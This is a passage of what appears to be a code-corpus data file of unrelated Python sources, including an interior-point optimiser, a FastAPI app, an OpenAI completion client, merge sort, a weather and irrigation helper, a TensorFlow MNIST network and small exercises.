np.linalg.inv(hf_prev)\n except Exception:\n print()\n delta = -inv_h.dot(df_prev)\n p_nt = delta\n lambda_prev = np.sqrt(p_nt.T @ hf_prev @ p_nt)\n else:\n system_matrix = np.block([[hf_prev, A.T], [A, np.zeros((1, 1))]])\n system_rhs = np.concatenate([-df_prev, np.zeros((1, 1))])\n delta_x = np.linalg.solve(system_matrix, system_rhs)\n p_nt = delta_x[:len(x0)]\n lambda_prev = np.sqrt(p_nt.T @ hf_prev @ p_nt)\n\n if 0.5 * lambda_prev ** 2 < e:\n return x_prev\n else:\n c1 = 0.01\n p = 0.5\n step_length = backtracking(c1, p, f, p_nt, x_prev, df_prev)\n if step_length is not None:\n x_next = x_prev + step_length * p_nt\n x_next = np.squeeze(x_next)\n x_prev = x_next\n else:\n print('ERROR')\n\n return x_prev\n\n\ndef log_barrier_method(f, ineq_constraints, eq_constraints_mat, x0, t, phi, m, mu, e=1e-5):\n x = newton_equality_constrained(f, ineq_constraints, eq_constraints_mat, x0, t, phi, e)\n iter_func_val = []\n i = 0\n iter_func_val.append((i, x, f(x)))\n while m / t >= e:\n i = i + 1\n t = mu * t\n x = newton_equality_constrained(f, ineq_constraints, eq_constraints_mat, x, t, phi, e)\n iter_func_val.append((i, x, f(x)))\n\n return x, f(x), iter_func_val\n\n\ndef interior_pt(f, ineq_constraints, eq_constraints_mat, x0, t=1):\n def phi(x):\n s = 0\n for func in ineq_constraints:\n s += math.log(-1 * func(x))\n return -1 * s\n\n return log_barrier_method(f, ineq_constraints, eq_constraints_mat, x0, t, phi, m=len(ineq_constraints), mu=10)\n","repo_name":"gafnit-runi/LineSearch","sub_path":"src/constrained_min.py","file_name":"constrained_min.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"2439627034","text":"#This program finds the number of trailing zeros at the end of a factorial of a number\r\nfrom functools import reduce\r\n\r\ndef zeros(n):\r\n factorial = reduce((lambda x, y: x * y), [a for a in range(1, n+1)])\r\n trail = 0\r\n for x in str(factorial)[::-1]:\r\n if x != \"0\":\r\n break\r\n trail += 1\r\n return trail","repo_name":"Ivan1353/python_practice","sub_path":"trailing_zeros.py","file_name":"trailing_zeros.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38975796306","text":"import uvicorn\nfrom fastapi import FastAPI, Request\nfrom fastapi.staticfiles import StaticFiles\nfrom fastapi.templating import Jinja2Templates\nfrom routers import table, secure, esp, callback\nfrom fastapi.responses import RedirectResponse\nfrom routers.secure import auth\n\napp = FastAPI()\napp.mount(\"/static\", StaticFiles(directory=\"static\"), name=\"static\")\ntemplate = Jinja2Templates(directory=\"templates\")\n\napp.include_router(\n table.router,\n prefix=\"/api\",\n tags=[\"table\"],\n responses={418: {\"description\": \"I'm a teapot\"}},\n)\n\napp.include_router(\n secure.router,\n prefix='/secure',\n tags=['secure'],\n responses={418: {\"description\": \"I'm a teapot\"}},\n)\n\napp.include_router(\n esp.router,\n prefix='/esp',\n tags=['esp'],\n responses={418: {\"description\": \"I'm a teapot\"}},\n)\n\napp.include_router(\n callback.router,\n prefix='/callback',\n tags=['callback'],\n responses={418: {\"description\": \"I'm a teapot\"}},\n)\n\n\n@app.get(\"/dashboard\")\nasync def dashboard(request: Request):\n token = request.cookies.get('access-token')\n if not token:\n return RedirectResponse(url='/root_login')\n if token:\n try:\n check_session = auth.verify_session_cookie(token)\n auth.revoke_refresh_tokens(check_session['sub'])\n return template.TemplateResponse('dashboard.html', context={'request': request})\n except auth.RevokedSessionCookieError:\n return RedirectResponse(url='/root_login')\n except auth.InvalidSessionCookieError:\n return RedirectResponse(url='/root_login')\n return template.TemplateResponse(\"dashboard.html\", context={\"request\": request})\n\n\n@app.get('/')\n@app.get('/root_login', tags=['Page'])\nasync def root_login(request: Request):\n return template.TemplateResponse('login.html', context={'request': request})\n\n\nif __name__ == \"__main__\":\n uvicorn.run(\"app:app\", port=9191, debug=True)\n","repo_name":"Thiphapornn/HYDROPONICS","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"918453556","text":"import os \nfrom abc import ABC, abstractmethod\nfrom typing import Dict\nimport requests\n\nfrom ..ir import node as ir_node \nfrom ..ir.symbolic_executor import ExecutionContext\n\nfrom ..parser import ir_2_llm_prompt \n\n# ====\n# Abstract LLM client \n# ====\nclass AbstractLLMClient (ABC): \n def __init__(self) -> None:\n super().__init__() \n\n @abstractmethod\n def solve_context (exe_context :ExecutionContext) -> Dict: \n pass \n \n\n# ====\n# ChatGPT client \n# ====\nclass ChatGPTClient (AbstractLLMClient): \n def __init__(\n self, \n openai_api_key :str=None, \n model :str='text-davinci-003', \n default_max_tokens :int=256\n ) -> None:\n super().__init__()\n\n self.openai_url = 'https://api.openai.com/v1/completions'\n\n # configure openai authentication \n if (type(openai_api_key) is not str): \n openai_api_key = os.environ.get('OPENAI_API_KEY') \n assert(type(openai_api_key) is str)\n self.openai_api_key = openai_api_key\n\n # configure parameters \n self.model = model \n self.default_max_tokens = default_max_tokens \n self.temperature = 0.0 \n\n def solve_context(\n self, \n exe_context: ExecutionContext, \n max_tokens :int=None\n ) -> Dict:\n # generate the prompt from the execution context \n prompt = ir_2_llm_prompt.generate_prompt_from_execution_context(exe_context) \n\n # call ChatGPT for the answer \n chatgpt_reps = requests.post(\n self.openai_url, \n headers={\n 'Authorization': 'Bearer ' + self.openai_api_key\n }, \n json={\n 'model': self.model, \n 'prompt': prompt, \n 'max_tokens': (max_tokens if (type(max_tokens) is int and max_tokens > 0) else self.default_max_tokens), \n 'temperature': self.temperature\n }\n ) \n assert(chatgpt_reps.status_code == 200)\n\n chatgpt_reps = chatgpt_reps.json() # get the response payload \n\n # retrieve ChatGpt's top-choice answer \n assert(isinstance(chatgpt_reps, Dict)) \n assert('choices' in chatgpt_reps)\n assert(len(chatgpt_reps['choices']) > 0) \n\n top_chatgpt_choice = chatgpt_reps['choices'][0] \n assert(isinstance(top_chatgpt_choice, Dict) and 'text' in top_chatgpt_choice)\n chatgpt_saying = top_chatgpt_choice['text'] \n\n # parase ChatGPT's answer \n saying_lines = chatgpt_saying.split('\\n')\n saying_lines = list(map(lambda x: x.strip(), saying_lines))\n saying_lines = list(filter(lambda x: len(x) > 0, saying_lines)) \n\n var_name_2_str_val = {} \n for saying in saying_lines: \n i = saying.find('=') \n if (i > 0): \n var_name = saying[0:i].strip() \n val = saying[i+1:].strip().strip('\"') \n var_name_2_str_val[var_name] = val \n\n # create a Solution object \n solution = ir_node.Solution() \n for var in exe_context.store.keys(): \n var_name = str(var) \n if (var_name in var_name_2_str_val): \n val = ir_node.Constant(var_name_2_str_val[var_name])\n solution.add(var, val)\n continue \n\n # return \n return solution \n\n ","repo_name":"wfchiang/AITestGen","sub_path":"src/aitestgen/llm/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"23233340483","text":"# Course1-Week2-Merge sort\nimport os\n\n\ndef sort_and_count(L):\n if len(L) == 1:\n return L, 0\n else:\n B, x = sort_and_count(L[: len(L) // 2])\n C, y = sort_and_count(L[len(L) // 2 :])\n D, z = merge_and_count_split(B, C)\n return D, x + y + z\n\n\ndef merge_and_count_split(B, C):\n D = list(range(len(B) + len(C)))\n count = 0\n i = 0\n j = 0\n for k in range(0, len(B) + len(C)):\n if i < len(B) and j < len(C):\n if B[i] < C[j]:\n D[k] = B[i]\n i += 1\n else:\n D[k] = C[j]\n j += 1\n count += len(B) - i\n\n elif i >= len(B):\n D[k] = C[j]\n j += 1\n else:\n D[k] = B[i]\n i += 1\n\n return D, count\n\n\nif __name__ == \"__main__\":\n # file_path = r\"/content/drive/MyDrive/week2_text.txt\"\n file_path = os.path.abspath(os.getcwd()) + r\"\\txt files\\Merge sort.txt\"\n\n with open(\n file_path,\n mode=\"r\",\n ) as f:\n text_lists = [int(i.replace(\"\\n\", \"\")) for i in f.readlines()]\n\n print(sort_and_count(text_lists))\n","repo_name":"b97390022/algorithms_course","sub_path":"Merge Sort.py","file_name":"Merge Sort.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"24326395086","text":"from static.translation import WEATHER, WEEK\nimport requests\nimport datetime as DT\nfrom .models import Area, Garden\nfrom django.db.models import Q\nfrom mysettings import WEATHER_API_KEY\n\n\ndef get_weather_info(location, forecast_type):\n today = DT.date.today()\n\n url = \"https://api.climacell.co/v3/weather/forecast/\" + forecast_type\n\n querystring = {\"lat\": location.lat, \"lon\": location.lon, \"unit_system\": \"si\", \"start_time\": \"now\",\n \"fields\": \"precipitation_probability,temp,weather_code\",\n \"apikey\": WEATHER_API_KEY}\n\n response = requests.request(\"GET\", url, params=querystring).json()\n weather_info = []\n\n if forecast_type == \"daily\":\n for i in range(5):\n day_of_week = today + DT.timedelta(days=i)\n info_day = {\n 'day': WEEK[day_of_week.strftime(\"%a\")],\n\n 'temperature_min': float(response[i]['temp'][0]['min']['value'])\n ,\n 'temperature_max': float(response[i]['temp'][1]['max']['value'])\n ,\n 'precipitation': str(response[i]['precipitation_probability']['value']) +\n response[i]['precipitation_probability']['units'],\n 'description': response[i]['weather_code']['value']\n }\n\n weather_icons_path = \"images/weather icons/color/\" + info_day['description'] + \".svg\"\n\n info_day['description'] = (WEATHER[info_day['description']])\n weather_info.append([info_day, weather_icons_path])\n context = {\n 'weather_info': weather_info\n }\n\n else:\n info_day = {\n 'day': WEEK[today.strftime(\"%a\")],\n 'temp': str(response[0]['temp']['value']) + '°' + response[0]['temp']['units'],\n 'precipitation': str(response[0]['precipitation_probability']['value']),\n 'description': response[0]['weather_code']['value'],\n 'weather_icons_path': \"\"\n }\n info_day['weather_icons_path'] = \"images/weather icons/color/\" + info_day['description'] + \".svg\"\n info_day['description'] = (WEATHER[info_day['description']])\n context = info_day\n\n return context\n\n\ndef get_rain(location, mode):\n url = \"https://api.climacell.co/v3/weather/forecast/daily\"\n\n querystring = {\"lat\": location.lat, \"lon\": location.lon, \"unit_system\": \"si\", \"start_time\": \"now\",\n \"fields\": \"precipitation_probability\",\n \"apikey\": WEATHER_API_KEY}\n\n response = requests.request(\"GET\", url, params=querystring).json()\n\n if mode == 'next':\n weather_info = []\n for i in range(15):\n info_day = {\n 'location': location,\n 'date': response[i]['observation_time']['value'],\n 'precipitation': str(response[i]['precipitation_probability']['value']),\n }\n weather_info.append(info_day)\n\n context = \"più di 12\"\n for item in weather_info:\n if item['precipitation'] >= \"50\":\n return weather_info.index(item)\n\n return context\n\n\ndef search(request):\n query = request.GET.get('q')\n queries = query.split(\" \")\n qs = Area.objects.filter(garden__user=request.user)\n qs2 = Garden.objects.filter(user=request.user)\n if query is not None:\n for item in queries:\n qs = qs.filter(\n Q(name__icontains=item) |\n Q(garden__city__city__icontains=item))\n\n qs2 = qs2.filter(\n Q(name__icontains=item) |\n Q(city__city__icontains=item))\n\n return qs, qs2\n\n\n\ndef activate_relay(ip, relay):\n # call to activate relay\n server_url = 'http://' + str(ip)\n url = server_url + '/update?relay=' + str(relay) + '&state=1'\n requests.request('GET', url)\n","repo_name":"kamuttini/IrrigationApp","sub_path":"dashboard/methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":3830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"6669555194","text":"#!/usr/bin/python\n\ndef InitGenerator(func):\n def initialize(*args, **kwargs):\n gen = func(*args, **kwargs)\n next(gen)\n return gen\n return initialize\n\ndef ToUpper():\n while True:\n string = yield # coroutines\n print(string.upper())\n\n@InitGenerator\ndef ToUpperDecorated():\n while True:\n string = yield\n print(string.upper())\n\nz = ToUpper()\nnext(z)\nz.send(\"Hello\")\n\ny = InitGenerator(ToUpper)\nx = y()\nx.send(\"Hello\")\n\nx = ToUpperDecorated()\nx.send(\"hello\")\nx.close()\n#x.send(\"hello\") #StopIteration\n#print (x.send(\"hello\"))\n","repo_name":"Shyam-Personal/python_repo","sub_path":"Python_project/Python_training_Jeetendra/Advanced_python/closure_decorator/simple_decorator.py","file_name":"simple_decorator.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18464352464","text":"import difflib, logging, os.path\n__author__ = 'r2h2'\n\ndef assertNoDiff(testresult_filename, subdir=None):\n ''' compare argument file in work/ with file with same name but in testdata/\n :param testresult_filename: namepart onyl, no path\n :return: assert message\n '''\n if subdir is None:\n f_testdata = open(os.path.abspath(os.path.join('testdata', testresult_filename)))\n f_work = open(os.path.abspath(os.path.join('work', testresult_filename)))\n else:\n f_testdata = open(os.path.abspath(os.path.join('testdata', subdir, testresult_filename)))\n f_work = open(os.path.abspath(os.path.join('work', subdir, testresult_filename)))\n diff = difflib.unified_diff(f_work.readlines(), f_testdata.readlines())\n f_work.close()\n f_testdata.close()\n try:\n assert ''.join(diff) == '', 'result (' + testresult_filename + ') is not equal to reference data'\n except AssertionError as e:\n logging.error(' result (' + testresult_filename + ')is not equal to reference data.')\n logging.debug(e)\n raise\n\n","repo_name":"ajjn/PVZDpolman","sub_path":"PolicyManager/tests/assertNoDiff.py","file_name":"assertNoDiff.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31826975885","text":"import os\nimport sys\nimport yaml\n\nfrom PIL import Image\n\nTEST_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'test')\n\n\nWIDTH = 12\n# 256 color cube, greyscale ramp, 16 colors\nHEIGHT = 18 + 2 + 2\n\nwith open('xterm-256color.yaml') as f:\n _COLORS = yaml.load(f)\n\n\ndef tupleize(name, x):\n i = lambda x: int(x, 16)\n rgb = (i(x[1:3]), i(x[3:5]), i(x[5:7]))\n return name, rgb\n\nCOLORS = [\n [tupleize(*arg) for arg in _COLORS[':xterm256']],\n [tupleize(*arg) for arg in _COLORS[':xtermGreyscale']],\n [tupleize(*arg) for arg in _COLORS[':xterm16']]\n]\n\n\ndef main(*args):\n im = Image.new('RGB', (WIDTH, HEIGHT), (0, 0, 0))\n\n row = 0\n col = 0\n base_row = 0\n\n # 18 rows of 6**3 color cube.\n for _, val in COLORS[0]:\n im.putpixel((col, row), val)\n\n row += 1\n # Next column...\n if (row % 6) == 0:\n col += 1\n if (col % 12) == 0:\n base_row += 6\n col = 0\n row = base_row\n\n assert row == 18\n\n # 2 rows of greyscale\n for _, val in COLORS[1]:\n im.putpixel((col, row), val)\n\n col += 1\n # Next row...\n if (col % 12) == 0:\n row += 1\n col = 0\n\n assert row == 20\n\n # 2 rows of 16 color.\n for _, val in COLORS[2]:\n im.putpixel((col, row), val)\n\n col += 1\n # Next row...\n if (col % 8) == 0:\n row += 1\n col = 0\n\n # Save 'em\n im.save(os.path.join(TEST_DIR, '1px_256_table.png'))\n im.save(os.path.join(TEST_DIR, '1px_256_table.jpg'), quality=40)\n\n\nif __name__ == '__main__':\n sys.exit(main(*sys.argv))\n","repo_name":"eddieantonio/imgcat","sub_path":"libexec/gen_img.py","file_name":"gen_img.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","stars":834,"dataset":"github-code","pt":"60"} +{"seq_id":"18815903182","text":"from matplotlib import pyplot as plt\nimport numpy as np\nimport tensorflow as tf\nimport seaborn as sns\nfrom sklearn import metrics\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport random\n\nn_sample_train = 10000\nn_sample_test = 1000\n\ndef get_MNIST_data():\n\n mnist = input_data.read_data_sets('./Data', one_hot=True)\n train_x, one_hots_train = mnist.train.next_batch(n_sample_train)\n test_x, one_hots_test = mnist.train.next_batch(n_sample_test)\n\n return train_x, one_hots_train, test_x, one_hots_test\n\ndef plot_MNIST(x, one_hot):\n\n row = 4\n column = 4\n p = random.sample(range(1, 100), row * column)\n\n plt.figure()\n\n for i in range(row * column):\n\n image = x[p[i]].reshape(28, 28)\n plt.subplot(row, column, i + 1)\n plt.imshow(image, cmap='gray')\n plt.title('label = {}'.format(np.argmax(one_hot[p[i]]).astype(int)))\n plt.axis('off')\n\n plt.subplots_adjust(left=0.05, bottom=0.05, right=0.95, top=0.95,\n wspace=0.05, hspace=0.3)\n plt.show()\n\ndef dense(inputs, in_size, out_size, activation='sigmoid', name='layer'):\n\n with tf.variable_scope(name, reuse=False):\n\n w = tf.get_variable(\"w\", shape=[in_size, out_size], initializer=tf.random_normal_initializer(mean=0., stddev=0.1))\n b = tf.get_variable(\"b\", shape=[out_size], initializer=tf.constant_initializer(0.0))\n\n l = tf.add(tf.matmul(inputs, w), b)\n\n if activation == 'relu':\n l = tf.nn.relu(l)\n elif activation == 'sigmoid':\n l = tf.nn.sigmoid(l)\n elif activation == 'tanh':\n l = tf.nn.tanh(l)\n elif activation == 'leaky_relu':\n l = tf.nn.leaky_relu(l)\n else:\n l = l\n\n l = tf.nn.dropout(l, rate=dropout_rate)\n\n return l\n\ndef scope(sess, hyperparameters):\n\n # Learning rate\n learning_rate = tf.Variable(hyperparameters['learning_rate'], trainable=False)\n\n # Loss function\n loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(labels=y, logits=y_), name=\"loss\")\n\n # Optimizer\n optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate, name=\"optimizer\").minimize(loss)\n\n # Evaluate the model\n correct = tf.equal(tf.cast(tf.argmax(y_, 1), tf.int32), tf.cast(tf.argmax(y, 1), tf.int32), name='correct')\n accuracy = tf.reduce_mean(tf.cast(correct, tf.float32), name='accuracy')\n\n # Tensorboard summary\n writer = tf.summary.FileWriter('./Tensorboard/') # run this command in the terminal to launch tensorboard: tensorboard --logdir=./Tensorboard/\n writer.add_graph(graph=sess.graph)\n\n return optimizer, loss, accuracy\n\ndef confusion_matrix(cm, accuracy):\n\n plt.figure(figsize=(9, 9))\n sns.heatmap(cm, annot=True, fmt=\".3f\", linewidths=.5, square=True, cmap='Blues_r')\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n all_sample_title = 'Accuracy Score: {0}'.format(accuracy)\n plt.title(all_sample_title, size=15)\n\ntrain_x, one_hots_train, test_x, one_hots_test = get_MNIST_data()\nnumber_test = [one_hots_test[i, :].argmax() for i in range(0, one_hots_test.shape[0])]\n\nplot_MNIST(x=train_x, one_hot=one_hots_train)\n\nn_label = len(np.unique(number_test)) # Number of class\nheight = train_x.shape[1] # All the pixels are represented as a vector (dim: 784)\n\n# Hyperparameters\nhyperparameters = {'learning_rate': 0.1, 'maxEpoch': 50, 'batch_size': 200,\n 'dense_size': [height, 10, 10, n_label], 'dense_activation': ['sigmoid', 'relu', 'none'], 'names': ['layer_1', 'layer_2', 'layer_out']}\n\n# Session and context manager\ntf.reset_default_graph()\nsess = tf.Session()\n\nwith tf.variable_scope(tf.get_variable_scope()):\n\n # Placeholders\n x = tf.placeholder(tf.float32, [None, height], name='X')\n y = tf.placeholder(tf.float32, [None, n_label], name='Y')\n\n dropout_rate = tf.placeholder(tf.float32, name='dropout_rate') # Change from keep_prob to dropout rate - keep_prob = 1 - dropout_rate\n\n # Neural network\n print(x)\n l1 = dense(x, in_size=hyperparameters['dense_size'][0], out_size=hyperparameters['dense_size'][1], activation=hyperparameters['dense_activation'][0], name=hyperparameters['names'][0])\n print(l1)\n l2 = dense(l1, in_size=hyperparameters['dense_size'][1], out_size=hyperparameters['dense_size'][2], activation=hyperparameters['dense_activation'][1], name=hyperparameters['names'][1])\n print(l2)\n l3 = dense(l2, in_size=hyperparameters['dense_size'][2], out_size=hyperparameters['dense_size'][3], activation=hyperparameters['dense_activation'][2], name=hyperparameters['names'][2])\n print(l3)\n\n # Softmax layer\n y_ = tf.nn.softmax(l3, name='softmax')\n\n # Scope\n optimizer, loss, accuracy = scope(sess, hyperparameters)\n\n # Initialize the Neural Network\n sess.run(tf.global_variables_initializer())\n\n # Train the Neural Network\n","repo_name":"RenMIYANOHARA/Test","sub_path":"DNN2.py","file_name":"DNN2.py","file_ext":"py","file_size_in_byte":4878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"30796673764","text":"'''\n Name: Meshv U Patel\n Id: 20CE092\n Link: https://github.com/meshv-p/CE259_Practical-2_Assignment.git\n'''\nleng = int(input())\nnumbers = [int(i) for i in input().split()]\nfor i in numbers:\n if numbers.count(i) == 1:\n print(i)","repo_name":"meshv-p/CE259_Practical-2_Assignment","sub_path":"Practical 3/prac3.py","file_name":"prac3.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"3896520347","text":"from django.conf.urls import patterns, url\n\nfrom users import views\n\nurlpatterns = patterns('',\n url(r'^login/$', views.login, name='login'),\n url(r'^logout/$', views.login, name='logout'),\n url(r'^register/$', views.register, name='register'),\n\n)\n\n","repo_name":"ramin32/shopping_cart","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"27805420506","text":"# https://www.hackerrank.com/challenges/jumping-on-the-clouds-revisited/problem\n\n#!/bin/python3\n\n# Complete the jumpingOnClouds function below.\ndef jumpingOnClouds(c, k):\n n = len(c)\n e = 100\n i = 0\n t = 0\n while not (i % n == 0 and t):\n t = 1\n e -= 1\n if c[i]:\n e -= 2\n i += k\n i %= n\n \n return e\n \nn,k = map(int, input().split())\nc = list(map(int, input().rstrip().split()))\n\nresult = jumpingOnClouds(c, k)\nprint(result)\n","repo_name":"unabl4/HR","sub_path":"jumping_on_the_clouds/jumping_on_the_clouds_revisited.py","file_name":"jumping_on_the_clouds_revisited.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31883420156","text":"from datetime import datetime\nfrom uuid import uuid4\nfrom sqlalchemy import desc\n\nfrom pt_2src.pretty_output import pretty_output\nfrom src.classes_for_entities import *\nfrom src.db import session\nfrom src.models import Subject, Teacher, Student, Group, Grade\n\n@pretty_output([\"ID\", \"Name\"])\ndef create_group(name):\n group_id = session.query(Group).order_by(desc(Group.id)).first().id + 1\n group_name = name\n group = GroupData(group_id, group_name)\n group_obj = Group(group)\n session.add(group_obj)\n session.commit()\n return [group_id, group_name]\n\n\n@pretty_output([\"ID\", \"Name\"])\ndef create_teacher(name):\n teacher_id = uuid4().hex[:6]\n teacher_name = name\n teacher = TeacherData(teacher_id, teacher_name)\n teacher_obj = Teacher(teacher)\n session.add(teacher_obj)\n session.commit()\n return [teacher_id, teacher_name]\n\n\n@pretty_output([\"ID\", \"Name\", \"GroupID\"])\ndef create_student(name, gid):\n student_id = uuid4().hex[:6]\n student_name = name\n group_id = gid\n group = session.query(Group).filter_by(id=group_id).first()\n if not group:\n print(f\"Group with ID={group_id} does not exist.\")\n return\n student = StudentData(student_id, student_name, group_id)\n student_obj = Student(student)\n session.add(student_obj)\n session.commit()\n return [student_id, student_name, group_id]\n\n\n@pretty_output([\"ID\", \"Name\", \"TeacherID\"])\ndef create_subject(subj_name, teacher_id):\n subject_id = session.query(Subject).order_by(desc(Subject.id)).first().id + 1\n subject_name = subj_name\n teacher_id = teacher_id\n teacher = session.query(Teacher).filter_by(id=teacher_id).first()\n if not teacher:\n print(f\"Teacher with ID='{teacher_id}' does not exist.\")\n return\n subject = SubjectData(subject_id, subject_name, teacher_id)\n subject_obj = Subject(subject)\n session.add(subject_obj)\n session.commit()\n return [subject_id, subject_name, teacher_id]\n\n\n@pretty_output([\"ID\", \"SubjectID\", \"StudentID\", \"Value\", \"Date\"])\ndef create_grade(subject_id, student_id, grade_val):\n grade_id = session.query(Grade).order_by(desc(Grade.id)).first().id + 1\n date = datetime.today().date()\n subject = session.query(Subject).filter_by(id=subject_id).first()\n student = session.query(Student).filter_by(id=student_id).first()\n if not subject:\n print(f\"Subject with ID={subject_id} does not exist.\")\n return\n if not student:\n print(f\"Student with ID={student_id} does not exist.\")\n return\n grade = GradeData(grade_id, subject_id, student_id, grade_val, date)\n grade_obj = Grade(grade)\n session.add(grade_obj)\n session.commit()\n return [grade_id, subject_id, student_id, grade_val, date]\n","repo_name":"rattlingmars8/WEB_HW_7","sub_path":"pt_2src/create_data_db.py","file_name":"create_data_db.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12178239418","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun May 22 21:49:31 2022\r\n\r\n@author: atknc\r\n\"\"\"\r\n\r\n\r\nfrom PyQt5.QtWidgets import QMenu,QGroupBox, QPushButton , QMainWindow, QLabel,QAction\r\nfrom PyQt5 import uic\r\nfrom file_menu_class2 import File_Menu\r\nfrom conversion_menu_class import Conversion_Menu\r\nfrom segmentation_menu_class import Segmentation_Menu\r\nfrom Filter_menu_class import Filter_Menu\r\n\r\n\r\n \r\n\r\nclass UI(QMainWindow,File_Menu,Conversion_Menu,Segmentation_Menu,Filter_Menu):\r\n \r\n def __init__(self):\r\n super(UI, self).__init__()\r\n \r\n \r\n uic.loadUi(\"lab_final_son.ui\",self)\r\n \r\n self.label = self.findChild(QLabel, \"label_I\")\r\n self.label_2 = self.findChild(QLabel, \"label_O\")\r\n \r\n self.open_push = self.findChild(QPushButton,\"B_Open\")\r\n self.close_push = self.findChild(QPushButton, \"B_Close\")\r\n self.close_push_2 = self.findChild(QPushButton, \"B_Close_I\")\r\n self.save_as_push = self.findChild(QPushButton, \"B_save_as_output\")\r\n self.export_as_source_push = self.findChild(QPushButton, \"B_Export_input\")\r\n self.export_as_output_push = self.findChild(QPushButton, \"B_export_output\")\r\n self.undo_push = self.findChild(QPushButton, \"B_undo_output\")\r\n self.redo_push = self.findChild(QPushButton, \"B_redo_output\")\r\n self.rgb_to_gray_push = self.findChild(QPushButton, \"B_RGB_to_Grayscale\")\r\n self.rgb_to_hsv_push = self.findChild(QPushButton, \"B_RGB_to_HSV\")\r\n self.prewitt_push = self.findChild(QPushButton, \"B_Prewitt\")\r\n self.roberts_push = self.findChild(QPushButton, \"B_Roberts\")\r\n self.scharr_push = self.findChild(QPushButton, \"B_Scharr\")\r\n self.sobel_push = self.findChild(QPushButton, \"B_Sobel\")\r\n self.multi_otsu_push = self.findChild(QPushButton, \"B_Multi_Otsu_Thresholding\")\r\n self.chan_vese_push = self.findChild(QPushButton, \"B_Chan_Vese_Segmentation\")\r\n self.morphological_snakes_push = self.findChild(QPushButton, \"B_Morphological_Snakes\")\r\n \r\n self.A_actionSave_As_Output = self.findChild(QAction, \"actionSave_As_Output\")\r\n self.A_actionSave_Output = self.findChild(QAction, \"actionSave_Output\")\r\n self.A_actionExportSource = self.findChild(QAction, \"actionExportSource\")\r\n self.A_actionExportOutput = self.findChild(QAction, \"actionExportOutput\")\r\n \r\n \r\n self.G_segmentation = self.findChild(QGroupBox, \"G_Segmentation\")\r\n self.G_edgeDetection = self.findChild(QGroupBox, \"G_Edge_Detection\")\r\n self.G_conversion = self.findChild(QGroupBox, \"G_Conversion\")\r\n self.G_output = self.findChild(QGroupBox, \"G_Output\")\r\n \r\n self.M_edit = self.findChild(QMenu, \"menuEdit\")\r\n self.M_conversion = self.findChild(QMenu, \"menuConversion\")\r\n self.M_segmentation = self.findChild(QMenu, \"menuSegmentation\")\r\n self.M_edgeDetection = self.findChild(QMenu, \"menuEdge_Detection\")\r\n \r\n \r\n #File Menu\r\n\r\n self.open_push.clicked.connect(self.clicker)\r\n self.save_as_push.clicked.connect(self.filesave)\r\n self.export_as_source_push.clicked.connect(self.export_as_source)\r\n self.export_as_output_push.clicked.connect(self.export_as_output)\r\n self.undo_push.clicked.connect(self.undoFile)\r\n self.redo_push.clicked.connect(self.redoFile)\r\n\r\n #Conversion Operations\r\n self.rgb_to_gray_push.clicked.connect(self.rgb_to_gray)\r\n self.rgb_to_hsv_push.clicked.connect(self.rgb_to_hsv)\r\n #Segmentation Operations\r\n self.multi_otsu_push.clicked.connect(self.multi_otsu)\r\n self.chan_vese_push.clicked.connect(self.chan_vese_seg)\r\n self.morphological_snakes_push.clicked.connect(self.morphological_snakes)\r\n #Edge Detection Operations\r\n self.roberts_push.clicked.connect(self.robert_filter)\r\n self.sobel_push.clicked.connect(self.sobel_filter)\r\n self.scharr_push.clicked.connect(self.scharr_filter)\r\n self.prewitt_push.clicked.connect(self.prewitt_filter)\r\n\r\n \r\n self.show()\r\n\r\n\r\n \r\n \r\n","repo_name":"atkncvkkl/Image-Process-Interface","sub_path":"lab_final_son.py","file_name":"lab_final_son.py","file_ext":"py","file_size_in_byte":4151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9251398527","text":"from google.cloud import datacatalog\nfrom google.datacatalog_connectors.commons.prepare import base_entry_factory\n\n\nclass DataCatalogEntryFactory(base_entry_factory.BaseEntryFactory):\n __ENTRY_ID_INVALID_CHARS_REGEX_PATTERN = r'[^a-zA-Z0-9_]+'\n\n def __init__(self, project_id, location_id, bootstrap_servers,\n schema_registry_endpoint, entry_group_id):\n self.__project_id = project_id\n self.__location_id = location_id\n self.__bootstrap_servers = 